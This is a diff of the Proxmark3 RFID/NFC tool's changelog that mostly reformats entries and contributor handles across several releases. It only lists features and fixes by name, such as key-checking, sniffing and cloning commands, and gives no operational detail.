recoverpwd' - now works after aquiredata adaptations (@iceman) - - Fix 'data detect p' - reverted bad clock detection (@iceman) - - Change 'data detect a' - better clock detection (@iceman) - - Add 'hf 14a info' - now detects some magic card Gen2 (@iceman) - - Removed 'LCD' code in armsrc compilation (@iceman) - - Change - Generic fixes of codestyle (@doegox) (@iceman) - - Change 'lf indala demod' - refactoring (@iceman) + - Fix Makefiles race conditions to allow parallel compilation, e.g. `make -j8`. (@doegox) + - Added - dictionary key file for MFU. (not in use at the moment) (@mazodude) + - Change `lf fdx demod` - better biphase maxerrors. (@MalteHillmann) + - Change `hf mf sim` - now works better against android (@mceloff) + - Fix `lf t55xx brute` - now works after aquiredata adaptations (@iceman1001) + - Fix `lf t55xx chk` - now works after aquiredata adaptations (@iceman1001) + - Fix `lf t55xx recoverpwd` - now works after aquiredata adaptations (@iceman1001) + - Fix `data detect p` - reverted bad clock detection (@iceman1001) + - Change `data detect a` - better clock detection (@iceman1001) + - Added `hf 14a info` - now detects some magic card Gen2 (@iceman1001) + - Removed `LCD` code in armsrc compilation (@iceman1001) + - Change - Generic fixes of codestyle (@doegox) (@iceman1001) + - Change `lf indala demod` - refactoring (@iceman1001) - Change - handling fault bit markers (7) and partial nibbles in hex printing (@doegox) - Change - printing of fault bit markers (7) using a dot (@doegox) - - Change 'sc upgrade' - firmware file integrity check (@piwi) - - Fix 'data rawdemod am' - last bit was missing (@doegox) - - Fix 'hf 15 dump f' - also selects tag first (@iceman) - - Fix 'hf iclass clone' - missing fileclose (@iceman) - - Add 'trace list hitag' - old hitag annotations now use the new trace (@iceman) - - Change 'lf hitag sim' - loads bin/eml/json (@iceman) - - Change 'lf hitag reader 21' - saves in bin/eml/json (@iceman) - - Change 'lf hitag' - refactoring (@iceman) - - Change 'lf hitag' - refactoring (@piwi) - - Fix 'lf hitag' - generic fix for missing clock init (@piwi) + - Change `sc upgrade` - firmware file integrity check (@pwpiwi) + - Fix `data rawdemod am` - last bit was missing (@doegox) + - Fix `hf 15 dump f` - also selects tag first (@iceman1001) + - Fix `hf iclass clone` - missing fileclose (@iceman1001) + - Added `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) + - Change `lf hitag sim` - loads bin/eml/json (@iceman1001) + - Change `lf hitag reader 21` - saves in bin/eml/json (@iceman1001) + - Change `lf hitag` - refactoring (@iceman1001) + - Change `lf hitag` - refactoring (@pwpiwi) + - Fix `lf hitag` - generic fix for missing clock init (@pwpiwi) - Fix fsk sim operations on deviceside - avoid division by zero (@doegox) - - Fix 'hf mf fchk' - condition always false (@doegox) - - Fix 'lf t55xx recoverpw' - shift as u32 (@doegox) - - Fix 'lf ti demod' - shift as u32 (@doegox) - - Fix 'lf ti read' - shift as u32 (@doegox) - - Fix 'lf t55xx chk' - condition always false (@doegox) - - Change 'lf sim' - ledcontrol refactoring (@doegox) - - Fix 'hf mf nack' - signedness bug (@doegox) - - Fix 'hf epa cnonce' - check return value (@doegox) - - Fix 'lf hitag write' - condition always true (@doegox) - - Fix 'mem write' - added extra check (@doegox) - - Fix 'iso15693' - bad string cpy (@doegox) - - Fix 'make style' - EOF LF support (@doegox) - - Add 'hf 14b raw' - added -t for timeout (@iceman) - - Rename 'lf hitag snoop' - renamed to 'lf hitag sniff' (@iceman) - - Rename 'lf snoop' - renamed to 'lf sniff' (@iceman) - - Rename 'hf snoop' - renamed to 'hf sniff' (@iceman) - - Fix 'hf mfp wrbl' - more blocks available (@merlokk) - - Add 'make platform' - compile for non-rdv4 devices made simpler (@doegox) + - Fix `hf mf fchk` - condition always false (@doegox) + - Fix `lf t55xx recoverpw` - shift as u32 (@doegox) + - Fix `lf ti demod` - shift as u32 (@doegox) + - Fix `lf ti read` - shift as u32 (@doegox) + - Fix `lf t55xx chk` - condition always false (@doegox) + - Change `lf sim` - ledcontrol refactoring (@doegox) + - Fix `hf mf nack` - signedness bug (@doegox) + - Fix `hf epa cnonce` - check return value (@doegox) + - Fix `lf hitag write` - condition always true (@doegox) + - Fix `mem write` - added extra check (@doegox) + - Fix `iso15693` - bad string cpy (@doegox) + - Fix `make style` - EOF LF support (@doegox) + - Added `hf 14b raw` - added -t for timeout (@iceman1001) + - Rename `lf hitag snoop` - renamed to `lf hitag sniff` (@iceman1001) + - Rename `lf snoop` - renamed to `lf sniff` (@iceman1001) + - Rename `hf snoop` - renamed to `hf sniff` (@iceman1001) + - Fix `hf mfp wrbl` - more blocks available (@merlokk) + - Added `make platform` - compile for non-rdv4 devices made simpler (@doegox) - Change Makefiles optimizations when recompiling (@doegox) - - Fix 'data load' - loads TITEST.txt again (@iceman) - - Change 'lf search' - now detects TI (@iceman) + - Fix `data load` - loads TITEST.txt again (@iceman1001) + - Change `lf search` - now detects TI (@iceman1001) - Change fixing signal cleaning for LF (@doegox) - - Fix 'lf paradox demod' - wrong check (@iceman) - - Change 'lf t55xx' - aquiredata uses getsamples (@iceman) - - Fix 'lf search' - chipset detection restore demod buffer again (@iceman) - - Add 'make style' (@doegox) + - Fix `lf paradox demod` - wrong check (@iceman1001) + - Change `lf t55xx` - aquiredata uses getsamples (@iceman1001) + - Fix `lf search` - chipset detection restore demod buffer again (@iceman1001) + - Added `make style` (@doegox) - Fix mixed tabs vs spaces. Now only use 4 space as tab. (@doegox) - - Fix 'lf visa2000 read' - too few samples (@iceman) - - Fix 'lf t55xx bruteforce' - infinity loop (@doegox) - - Fix 'analyse nuid' - correct crc (@doegox) - - Add command history not repeating logged commands (@doegox) + - Fix `lf visa2000 read` - too few samples (@iceman1001) + - Fix `lf t55xx bruteforce` - infinity loop (@doegox) + - Fix `analyse nuid` - correct crc (@doegox) + - Added command history not repeating logged commands (@doegox) - Fix path for aidjson (@doegox) - Fix missing init i2x (@doegox) - - Fix '14b select card' - (@doegox) - - Add 'hf mf ndef' - parsing of NDEF messages (@merlokk) - - Add 'hf mf mad' - parsing of Mifare Application Directory (@merlokk) - - Rename 'lf snoop' -> 'lf sniff' (@iceman) - - Rename 'hf snoop' -> 'hf sniff' (@iceman) - - Change generally added more colors (@iceman) - - Change 'sc upgrade' updated firmware v3.11 (RDV40) (@sentiprox) - - Change 'data autocorrelate' - better visual representation and added extra peak detection (@iceman) - - Fix 'lf search' - false positive indala identification fixed (@iceman) - - Add 'lf keri' - basic support for Keri tags (@iceman) - - Add 'hf mf list' - re-added it again (@iceman) - - Fix - A lot of bugfixes, like memory leaks (@iceman) - - Change 'hf 14a antifuzz' - original implementation (@asfabw), reworked a bit - - Fix 'hf mf fchk' (@iceman) - - Fix 'usb slow on posix based systems' (@fl0-0) - - Change 'lf pcf7931' - improved read code (@sguerrini97) - - Change 'hf felica list' - started with some FeliCa annotations (@iceman) - - Fix 'hf tune' - now works as expected (@iceman) - - Add 'option to use flash memory to upload dictionary files' (RDV40) (@iceman) - - Fix 'printing percentage now standard compliant' (@fabled) - - Add 'emv roca' - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman) + - Fix `14b select card` - (@doegox) + - Added `hf mf ndef` - parsing of NDEF messages (@merlokk) + - Added `hf mf mad` - parsing of Mifare Application Directory (@merlokk) + - Rename `lf snoop` -> `lf sniff` (@iceman1001) + - Rename `hf snoop` -> `hf sniff` (@iceman1001) + - Change generally added more colors (@iceman1001) + - Change `sc upgrade` updated firmware v3.11 (RDV40) (@sentiprox) + - Change `data autocorrelate` - better visual representation and added extra peak detection (@iceman1001) + - Fix `lf search` - false positive indala identification fixed (@iceman1001) + - Added `lf keri` - basic support for Keri tags (@iceman1001) + - Added `hf mf list` - re-added it again (@iceman1001) + - Fix - A lot of bugfixes, like memory leaks (@iceman1001) + - Change `hf 14a antifuzz` - original implementation (@asfabw), reworked a bit + - Fix `hf mf fchk` (@iceman1001) + - Fix `usb slow on posix based systems` (@fl0-0) + - Change `lf pcf7931` - improved read code (@sguerrini97) + - Change `hf felica list` - started with some FeliCa annotations (@iceman1001) + - Fix `hf tune` - now works as expected (@iceman1001) + - Added `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) + - Fix `printing percentage now standard compliant` (@fabled) + - Added `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) - Added TCP ports support (on linux) (@phcoder) - Added HF sniff standalone mode with optional storing of ULC/NTAG/ULEV1 authentication attempts (@bogiton) - - Fix 'Lining up plot and control window' (@anticat) - - Fix 'annoying focus behaviour' on OSX (@Anticat) + - Fix `Lining up plot and control window` (@anticat) + - Fix `annoying focus behaviour` on OSX (@Anticat) - Implemented AppNap API, fixing #283 and #627 OSX USB comm issues (@AntiCat) - - Added 'sc brute' - a naive SFI bruteforcer for contact smartcards (RDV40) (@iceman) - - Change 'lf t55xx detectconfig' - now optional to persist settings to flashmem (RDV40) (@iceman) - - Change 'hf mf csave' - now saves both EML/BIN formats (@iceman) - - Change 'hf mf esave' - now saves both EML/BIN formats (@iceman) - - Fix 'compiler warning on macos and gcc7.1 or higher' (@TomHarkness) - - Fix 'crash on Bionic libc if CloseProxmark is called twice' (@micolous) - - Change 'lf hid' - got an updated to Kastle format (@xilni) - - Added 'lf t55xx deviceconfig' - enables custom t55xx timing settings. (RDV40) (@iceman) - - Chg adaptations for FPC communications (work in progress) (@iceman) - - Fix 'stand-alone Colin' - remake to benefit from flashmem for persistence. (@cjbrigato) - - Fix 'LEGIC SIM' - remake of legic sim (@drandreas) - - Changed 'proxmark3 client threading' - remake from official repo (@micolous) - - Add 'rem' - new command that adds a line to the log file (@didierStevens) - - Fix 'EM410xdemod empty tag id in lfops.c' (@Defensor7) - - Fix 'usb device descriptor' - some android phones will enumerate better when iSerialnumber isn't a multiple of 8 (@micolous, @megabug) - - Fix 'StandaloneMode LF' - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug) - - Fix 'StandAloneMode Colin' - mifare1ksim called with right params (@cjbrigato) - - Improved 'install.sh' to install dependencies for Ubuntu 18.04 and using max number of processors during compilation (@joanbono) - - Modified 'install.sh' script to work in macOS and Linux + added the 'update.sh' and 'proxmark3.sh' from joanbono (@TomHarkness) - - Fix 'hf emv' - some cards need to have Le=0x00, some don't need to have (@merlokk) - - Fix 'hf legic' enhancement of rx / tx in legic commands (@drandreas) - - Fix 'data buffclear' - now frees bigbuff also (@iceman) + - Added `sc brute` - a naive SFI bruteforcer for contact smartcards (RDV40) (@iceman1001) + - Change `lf t55xx detectconfig` - now optional to persist settings to flashmem (RDV40) (@iceman1001) + - Change `hf mf csave` - now saves both EML/BIN formats (@iceman1001) + - Change `hf mf esave` - now saves both EML/BIN formats (@iceman1001) + - Fix `compiler warning on macos and gcc7.1 or higher` (@TomHarkness) + - Fix `crash on Bionic libc if CloseProxmark is called twice` (@micolous) + - Change `lf hid` - got an updated to Kastle format (@xilni) + - Added `lf t55xx deviceconfig` - enables custom t55xx timing settings. (RDV40) (@iceman1001) + - Chg adaptations for FPC communications (work in progress) (@iceman1001) + - Fix `stand-alone Colin` - remake to benefit from flashmem for persistence. (@cjbrigato) + - Fix `LEGIC SIM` - remake of legic sim (@drandreas) + - Changed `proxmark3 client threading` - remake from official repo (@micolous) + - Added `rem` - new command that adds a line to the log file (@didierStevens) + - Fix `EM410xdemod empty tag id in lfops.c` (@Defensor7) + - Fix `usb device descriptor` - some android phones will enumerate better when iSerialnumber is not a multiple of 8 (@micolous, @megabug) + - Fix `StandaloneMode LF` - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug) + - Fix `StandAloneMode Colin` - mifare1ksim called with right params (@cjbrigato) + - Improved `install.sh` to install dependencies for Ubuntu 18.04 and using max number of processors during compilation (@joanbono) + - Modified `install.sh` script to work in macOS and Linux + added the `update.sh` and `proxmark3.sh` from joanbono (@TomHarkness) + - Fix `hf emv` - some cards need to have Le=0x00, some do not need to have (@merlokk) + - Fix `hf legic` enhancement of rx / tx in legic commands (@drandreas) + - Fix `data buffclear` - now frees bigbuff also (@iceman1001) - Fix GET_TICKS and signess while shifting (@drandreas) - - Added 'hf 14b dump' - now dumps to file (bin & eml) (@iceman) + - Added `hf 14b dump` - now dumps to file (bin & eml) (@iceman1001) - Fix fixed xcorrelation for strong signal (@drandreas) - - Fix 'hf mf chk' - keytype was reversed (@TomHarkness) - - Added strange vid/pid found in wild. Could be pm3 easy clones. (@iceman) - - Fix 'make udev' - udev filename could be in conflict, renamed. (@blshkv) - - Fix 'lf t55xx config' - wrong sized array disabled FSK1a/FSK2a as options (@grauerfuchs) - - Added more default keys (@j8048188) (@iceman) - - Added 'sc list/info/raw/reader/upgrade' - (RDV40) smart card module functionality (@iceman) - - Fix 'download eml buffer' (@drandreas) - - Changed 'exclusion of floatingpoint lib' (@pwpiwi) - - Changed 'lua scripts bit32 calls' (@iceman) - - Changed 'hw version' (@pwpiwi), adapted to iceman fork ( @iceman) - - Added 'amiibo functionality' (@jamchamb), adapted to iceman fork ( @iceman) - - Fix 'hf legic' (RDV40) adaptations to FPGA HF enhanched reading distance (@iceman) Thanks to @drandreas! - - Added 'script run mifare_acces' - script to decode Mifare classic accessbits (@Neuromancer) - - Added 'mem load/save/wipe' - commands to upload / download to new RDV40 onboard flashmemory (@iceman) - - Added 'script run mifareplus" - script to communicate with a mifare plus tag (@dceliano) - - Added FlashMemory functionality (RDV40) (Thanks @willok) - - Fix 'hf mfu dump' - partial reads lead to corrupt data (Thanks @elafargue for pointing it out) - - Changed 'hf mfu dump / read' - now retries five times. (@jamchamb) + - Fix `hf mf chk` - keytype was reversed (@TomHarkness) + - Added strange vid/pid found in wild. Could be pm3 easy clones. (@iceman1001) + - Fix `make udev` - udev filename could be in conflict, renamed. (@blshkv) + - Fix `lf t55xx config` - wrong sized array disabled FSK1a/FSK2a as options (@grauerfuchs) + - Added more default keys (@j8048188) (@iceman1001) + - Added `sc list/info/raw/reader/upgrade` - (RDV40) smart card module functionality (@iceman1001) + - Fix `download eml buffer` (@drandreas) + - Changed `exclusion of floatingpoint lib` (@pwpiwi) + - Changed `lua scripts bit32 calls` (@iceman1001) + - Changed `hw version` (@pwpiwi), adapted to iceman fork (@iceman1001) + - Added `amiibo functionality` (@jamchamb), adapted to iceman fork (@iceman1001) + - Fix `hf legic` (RDV40) adaptations to FPGA HF enhanched reading distance (@iceman1001) Thanks to @drandreas! + - Added `script run mifare_acces` - script to decode Mifare classic accessbits (@Neuromancer) + - Added `mem load/save/wipe` - commands to upload / download to new RDV40 onboard flashmemory (@iceman1001) + - Added `script run mifareplus` - script to communicate with a mifare plus tag (@dceliano) + - Added FlashMemory functionality (RDV40) (@willok) + - Fix `hf mfu dump` - partial reads lead to corrupt data (Thanks @elafargue for pointing it out) + - Changed `hf mfu dump / read` - now retries five times. (@jamchamb) - Added `hf list mf` - deciphers crypto1 stream and works with first authentication and weak nested authentications (@Merlok) - Adjusted `lf cmdread` to respond to client when complete and the client will then automatically call `data samples` (@marshmellow42) - Added a bitbang mode to `lf cmdread` if delay is 0 the cmd bits turn off and on the antenna with 0 and 1 respectively (@marshmellow42) - dump / restore now uses custom filenames (@brianpow) - - Removed 'hf mf sniff' , (@iceman), use HF 14A SNIFF instead - - Added 'hf iclass lookup' (@iceman) - - Added 'hf iclass chk' (@iceman) - - Fixed ADC mux all closed push-pull state (@iceman) - - Fix 'hf mf darkside' - speed fixes (@pwpiwi) - - Fix 'hw tune' - now compensates for 3% error in output, also measure full 140v using ADC channel 5 and 7. (@iceman) + - Removed `hf mf sniff` , (@iceman1001), use HF 14A SNIFF instead + - Added `hf iclass lookup` (@iceman1001) + - Added `hf iclass chk` (@iceman1001) + - Fixed ADC mux all closed push-pull state (@iceman1001) + - Fix `hf mf darkside` - speed fixes (@pwpiwi) + - Fix `hw tune` - now compensates for 3% error in output, also measure full 140v using ADC channel 5 and 7. (@iceman1001) - Updated loclass gpl license (@holiman) - - Fix Antenna on after changed FPGA Mode. (@iceman) - - Added 'hf mf nack' - Mifare NACK bug detection (@iceman) (@doegox) - - Fix 'hf mf mifare' - zero parity works, no more double runs for normal darkside (@iceman) - - Added 'hf mf fchk' - the fastest check keys implementation tothisday (@iceman) - - Fix 'hf iclass' - more stable demod (@iceman) - - Added 'hf iclass chk' - check keys from default_iclass_keys.dic file (@iceman) - - Fix 'hf 15 dump' - no more crc faults (@iceman) - - Fix 'hf 15 read' - no more crc faults (@iceman) - - Fix 'hf 15 readmulti' - no more crc faults (@iceman) + - Fix Antenna on after changed FPGA Mode. (@iceman1001) + - Added `hf mf nack` - Mifare NACK bug detection (@iceman1001) (@doegox) + - Fix `hf mf mifare` - zero parity works, no more double runs for normal darkside (@iceman1001) + - Added `hf mf fchk` - the fastest check keys implementation tothisday (@iceman1001) + - Fix `hf iclass` - more stable demod (@iceman1001) + - Added `hf iclass chk` - check keys from default_iclass_keys.dic file (@iceman1001) + - Fix `hf 15 dump` - no more crc faults (@iceman1001) + - Fix `hf 15 read` - no more crc faults (@iceman1001) + - Fix `hf 15 readmulti` - no more crc faults (@iceman1001) - Changed proxmark command line parameter `flush` to `-f` or `-flush` (@merlokk) - Added to proxmark command line parameters `w` - wait 20s for serial port (@merlokk) - Added to proxmark command line parameters `c` and `l` - execute command and lua script from command line (@merlokk) - - Added to proxmark ability to execute commands from stdin (pipe) ((@merlokk) + - Added to proxmark ability to execute commands from stdin (pipe) (@merlokk) - Added new standalone mode "HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN" (@cjbrigato) - - Added to `hf 14a apdu` - exchange apdu via iso1443-4 (@merlokk) + - Added to `hf 14a apdu` - exchange apdu via iso14443-4 (@merlokk) - Added to `hf 14a apdu` - apdu and tlv results parser (@merlokk) - - Added 'hf emv' commands (@merlokk) + - Added `hf emv` commands (@merlokk) - lots of bug fixes (many many) - - Changed hf mfp security. Now it works in all the modes. (drHatson) + - Changed hf mfp security. Now it works in all the modes. (@drHatson) - Added `hf fido` commands that work with FIDO U2F authenticators (@merlokk) - Added mbedtls instead of old polarssl (@merlokk) - Added jansson (@merlokk) - - Added `hf emv scan` - save card's data to json file (@merlokk) + - Added `hf emv scan` - save card data to json file (@merlokk) - Added `hf emv` `gpo`, `readrec`, `genac`, `challenge`, `intauth` - separate commands from `hf emc exec` (@merlokk) - Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk) - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) - + - Added `script run luxeodump` (@0xdrrb) + - Fix `lf hitag reader 02` - print all bytes (@bosb) + - Fix hitag S simulation (still not working), write, add example HITAG S 256 (@bosb) + + ### Fixed -- Changed driver file proxmark3.inf to support both old and new Product/Vendor IDs (piwi) -- Changed start sequence in Qt mode (fix: short commands hangs main Qt thread) (Merlok) + - Changed driver file proxmark3.inf to support both old and new Product/Vendor IDs (@pwpiwi) + - Changed start sequence in Qt mode (fix: short commands hangs main Qt thread) (@merlokk) ## [ice.3.1.0][2017-09-26] - - proxmark3 client can reconnect to device without restart (iceman) - - lots of bug fixes (many many) - - trace/securakey-64169.pm3 - trace of a scecurakey (atyppo) - - 'hf mf decrypt' - got some longer input and helptext parameter (iceman) - - Updated the Reveng 1.51 sourcecode to 1.52 from Reveng project homepage (iceman) - - 'hf 14a read' - disconnects when failing to read tag (iceman) - - 'hf mf csave' - renamed parameter 'i' to 'o' as in output (iceman) + - proxmark3 client can reconnect to device without restart (@iceman1001) + - lots of bug fixes (many many) + - trace/securakey-64169.pm3 - trace of a scecurakey (@atyppo) + - `hf mf decrypt` - got some longer input and helptext parameter (@iceman1001) + - Updated the Reveng 1.51 sourcecode to 1.52 from Reveng project homepage (@iceman1001) + - `hf 14a read` - disconnects when failing to read tag (@iceman1001) + - `hf mf csave` - renamed parameter `i` to `o` as in output (@iceman1001) ## [3.0.0][2017-08-29] Notes on this release @@ -286,267 +484,265 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac There is a lot of changes, command breaking changes, which is the cause for the JUMP in version number. It is set to v3.0.0 to show that it is on par with PM3 Offical v3 release. - - Updated 'mkversion.pl' to write a date based on file when repo is downloaded as a zip file from github (iceman) - - Update 'readme.md' to fit GitHubs markup(joanbono) - - Added 'script run ul_uid', try to change UID on a magic UL-card. (iceman) - - Fixed 'hf snoop' bug, of wrong bool value (ikarus23) - - Fixed fullimage.s19, wrong offsets (doegox) - - Updated '77-mm-usb-device-blacklist.rules' for the pid/vid (iceman) - - 'hf 14a sim' now follows Mifare UL-EV1 protocol better (iceman) - - Updated 'fpga_hf.bit' file (piwi) - - Added more card detections to 'hf mfu info' (iceman) - - Fixed 'hf mfu restore/dump' to use the right struct values in special data in dumpfile. (iceman) - - Added 'hf mfu restore r' new parameter to use the new pwd for all further auths needed when executing (iceman) - - Added 'default_keys_dic2lua.awk' script to generate default_keys file in client/lualibs (iceman) - - Fixes to lots of lua scripts, among others - - 'mifare_autopwn', now uses PRNG detection (iceman) - - 'mfkeys', fixed bug which only tested the first key (iceman) - - 'dumptoemul', removed last newline (iceman) - - ... - - Added USB/SERIAL communication enhancements (micolous) - - Change 'hf 14a cuids', to be interrupted with keyboard press (iceman) - - Change debugstatements for LF to show which function more unified (iceman) - - Added 'script run calc_di' , to calculate some Mifare keys (iceman) - - Fixed iclass commands never shut down antenna afterwards (iceman) - - Change 512kb detection when flashing (iceman) - - Fixed compilation GCC4.9 or higher detection (winguru) - - Fixed compiler warnings in Ubuntu 17.04 (iceman) - - Ripped out 'standalone' code into separete folder to be continued. (iceman) - - 'hf mf nested', added key validation to entered key (merlokk) - - 'hf mf hardnested', added key validation to enterd key (iceman) - - Change a lot of help texts (iceman) - - Fixed 'hf mf chk' - keyblock bug, limited keys to 256. (iceman) - - Change 'hf mf dump' retries three times now before giving up (marshmellow) - - Fixed 'mfu authentication', with pack-len error (iceman) - - 'Script list', change sortorder to alphabetic order (iceman) - - Change 'hf mfu gen' to read taguid (iceman) - - Change 'hf mfu pwdgen' to read taguid (iceman) - - Added 'hf mf setmod' sets Mifare Classic EV1 load modulation strength to card (angelsl) - - Added 'hf 14a read' Mifare PRNG detection based on @doegox LIBNFC impl (iceman) - - Added 'hf mf nonces', collects Mifare Classic nonces for analysing of PRNG (iceman) - - Added new CSNS in 'hf iclass sim 2' attack (iceman) - - Added more default keys (iceman) - - Added analyse nuid, enable creation of Mifare NUID (iceman) - - Updated the Reveng 1.44 sourcecode to 1.51 from Reveng project homepage (iceman) - - script run formatMifare - got an option to execute the generate strings (iceman) - - Fix 'hf mf cgetsc' (iceman) - - Fix 'hf legic info' (iceman) - - Change version output (iceman) - - Added PAC/Stanley detection to lf search (marshmellow) - - Added lf pac demod and lf pac read - extracts the raw blocks from a PAC/Stanley tag (marshmellow) - - Added hf mf csave commands compatibity for 4k (Fl0-0) - - Added data fsktonrz, a fsk cleaning/demodulating routine for weak fsk signal. Note: follow this up with a `data rawdemod nr` to finish demoding your signal. (marshmellow) - - Added lf em 410xbrute, LF EM410x reader bruteforce attack by simulating UIDs from a file (Fl0-0) - - Compiles on OS X - - Compiles with gcc 4.9 - - Compiles for non-Intel CPUs - - Added lf hitag write 24, the command writes a block to hitag2 tags in crypto mode (henjo) - - Added the improved 'hf mf hardnested', an attack working for hardened Mifare cards (EV1, Mifare Plus SL1) - - Added experimental testmode write option for t55xx (danger) (marshmellow) - - Added t55xx p1detect to `lf search` chip detections (marshmellow) - - Added lf t55xx p1detect, detect page 1 of a t55xx tag based on E015 mfg code (marshmellow) - - Added lf noralsy demod, read, clone, sim commands (iceman) - - Added lf jablotron demod, read, clone, sim commands (iceman) - - Added lf nexwatch read - reads a nexwatch tag from the antenna - - Added lf paradox read - reads a paradox tag from the antenna - - Added lf fdx sim (iceman) - - Added lf fdx clone - clones an fdx-b animal tag to t55x7 or q5 (iceman) - - Added lf fdx read - reads a fdx-b tag from the antenna (iceman) - - Added lf gproxii read - reads a gproxii tag from the antenna (marshmellow) - - Added lf indala read - reads an indala tag from the antenna (marshmellow) - - Added lf visa2000 demod, read, clone, sim commands (iceman) + - Updated `mkversion.pl` to write a date based on file when repo is downloaded as a zip file from github (@iceman1001) + - Update `readme.md` to fit GitHubs markup(@joanbono) + - Added `script run ul_uid`, try to change UID on a magic UL-card. (@iceman1001) + - Fixed `hf snoop` bug, of wrong bool value (@ikarus23) + - Fixed fullimage.s19, wrong offsets (@doegox) + - Updated `77-mm-usb-device-blacklist.rules` for the pid/vid (@iceman1001) + - `hf 14a sim` now follows Mifare UL-EV1 protocol better (@iceman1001) + - Updated `fpga_hf.bit` file (@pwpiwi) + - Added more card detections to `hf mfu info` (@iceman1001) + - Fixed `hf mfu restore/dump` to use the right struct values in special data in dumpfile. (@iceman1001) + - Added `hf mfu restore r` new parameter to use the new pwd for all further auths needed when executing (@iceman1001) + - Added `default_keys_dic2lua.awk` script to generate default_keys file in client/lualibs (@iceman1001) + - Fixes to lots of lua scripts, among others + - `mifare_autopwn`, now uses PRNG detection (@iceman1001) + - `mfkeys`, fixed bug which only tested the first key (@iceman1001) + - `dumptoemul`, removed last newline (@iceman1001) + - ... + - Added USB/SERIAL communication enhancements (@micolous) + - Change `hf 14a cuids`, to be interrupted with keyboard press (@iceman1001) + - Change debugstatements for LF to show which function more unified (@iceman1001) + - Added `script run calc_di` , to calculate some Mifare keys (@iceman1001) + - Fixed iclass commands never shut down antenna afterwards (@iceman1001) + - Change 512kb detection when flashing (@iceman1001) + - Fixed compilation GCC4.9 or higher detection (@winguru) + - Fixed compiler warnings in Ubuntu 17.04 (@iceman1001) + - Ripped out `standalone` code into separete folder to be continued. (@iceman1001) + - `hf mf nested`, added key validation to entered key (@merlokk) + - `hf mf hardnested`, added key validation to enterd key (@iceman1001) + - Change a lot of help texts (@iceman1001) + - Fixed `hf mf chk` - keyblock bug, limited keys to 256. (@iceman1001) + - Change `hf mf dump` retries three times now before giving up (@marshmellow42) + - Fixed `mfu authentication`, with pack-len error (@iceman1001) + - `Script list`, change sortorder to alphabetic order (@iceman1001) + - Change `hf mfu gen` to read taguid (@iceman1001) + - Change `hf mfu pwdgen` to read taguid (@iceman1001) + - Added `hf mf setmod` sets Mifare Classic EV1 load modulation strength to card (@angelsl) + - Added `hf 14a read` Mifare PRNG detection based on @doegox LIBNFC impl (@iceman1001) + - Added `hf mf nonces`, collects Mifare Classic nonces for analysing of PRNG (@iceman1001) + - Added new CSNS in `hf iclass sim 2` attack (@iceman1001) + - Added more default keys (@iceman1001) + - Added analyse nuid, enable creation of Mifare NUID (@iceman1001) + - Updated the Reveng 1.44 sourcecode to 1.51 from Reveng project homepage (@iceman1001) + - script run formatMifare - got an option to execute the generate strings (@iceman1001) + - Fix `hf mf cgetsc` (@iceman1001) + - Fix `hf legic info` (@iceman1001) + - Change version output (@iceman1001) + - Added PAC/Stanley detection to lf search (@marshmellow42) + - Added lf pac demod and lf pac read - extracts the raw blocks from a PAC/Stanley tag (@marshmellow42) + - Added hf mf csave commands compatibity for 4k (@Fl0-0) + - Added data fsktonrz, a fsk cleaning/demodulating routine for weak fsk signal. Note: follow this up with a `data rawdemod nr` to finish demoding your signal. (@marshmellow42) + - Added lf em 410xbrute, LF EM410x reader bruteforce attack by simulating UIDs from a file (@Fl0-0) + - Compiles on OS X + - Compiles with gcc 4.9 + - Compiles for non-Intel CPUs + - Added lf hitag write 24, the command writes a block to hitag2 tags in crypto mode (@henjo) + - Added the improved `hf mf hardnested`, an attack working for hardened Mifare cards (EV1, Mifare Plus SL1) + - Added experimental testmode write option for t55xx (danger) (@marshmellow42) + - Added t55xx p1detect to `lf search` chip detections (@marshmellow42) + - Added lf t55xx p1detect, detect page 1 of a t55xx tag based on E015 mfg code (@marshmellow42) + - Added lf noralsy demod, read, clone, sim commands (@iceman1001) + - Added lf jablotron demod, read, clone, sim commands (@iceman1001) + - Added lf nexwatch read - reads a nexwatch tag from the antenna + - Added lf paradox read - reads a paradox tag from the antenna + - Added lf fdx sim (@iceman1001) + - Added lf fdx clone - clones an fdx-b animal tag to t55x7 or q5 (@iceman1001) + - Added lf fdx read - reads a fdx-b tag from the antenna (@iceman1001) + - Added lf gproxii read - reads a gproxii tag from the antenna (@marshmellow42) + - Added lf indala read - reads an indala tag from the antenna (@marshmellow42) + - Added lf visa2000 demod, read, clone, sim commands (@iceman1001) ## [1.7.0 iceman fork] [2017-03-07] - - hf mf dump - added retry loops to try each read attempt up to 3 times. makes getting a complete dump easier with many antennas. (marshmellow) - - - Added markers in the graph around found Sequence Terminator after askmandemod. (marshmellow) - - Added data mtrim command to trim out samples between start and stop. (marshmellow) - - Added data setgraphmarkers command to set two extra markers on the graph (marshmellow) - - added json support in lua (vitorio) - - added a buspirate settings file for at91sam7s512 (adamlaurie) - - `lf read` timeouts is now depended on what threshold level you set in `lf config` (marshmellow) - - `hf mf sim` fixed a bug which made sim fail auths. (iceman) - - `hf 14a read` added magic tag generation 1a and 1b detection (iceman) - - correctly using stdtypes.h printf and scanf format string macros (PRIx64 et al) (pwpivi) - - fix linker warning re missing entry point when linking fullimage.elf (pwpivi) - - small changes to lf psk and fsk demods to improve results when the trace begins with noise or the chip isn't broadcasting yet (marshmellow) - - NOTE CHANGED ALL `lf em4x em*` cmds to simpler `lf em ` - example: `lf em4x em410xdemod` is now `lf em 410xdemod` - - Renamed and rebuilt `lf em readword` && readwordpwd to `lf em 4x05read` - it now demods and outputs the read block (marshmellow/iceman) - - Renamed and rebuilt `lf em writeword` && writewordpwd to `lf em 4x05write` - it now also reads validation output from the tag (marshmellow/iceman) - - Fixed bug in lf sim and continuous demods not turning off antenna when finished - - Added lua script path fixes (pwpivi) - - `lf search` - Added EM4x05/EM4x69 chip detection (marshmellow) - - Added lf em 4x05dump command to read and output all the blocks of the chip (marshmellow) - - Added lf em 4x05info command to read and display information about the chip (marshmellow) - - `lf em4x 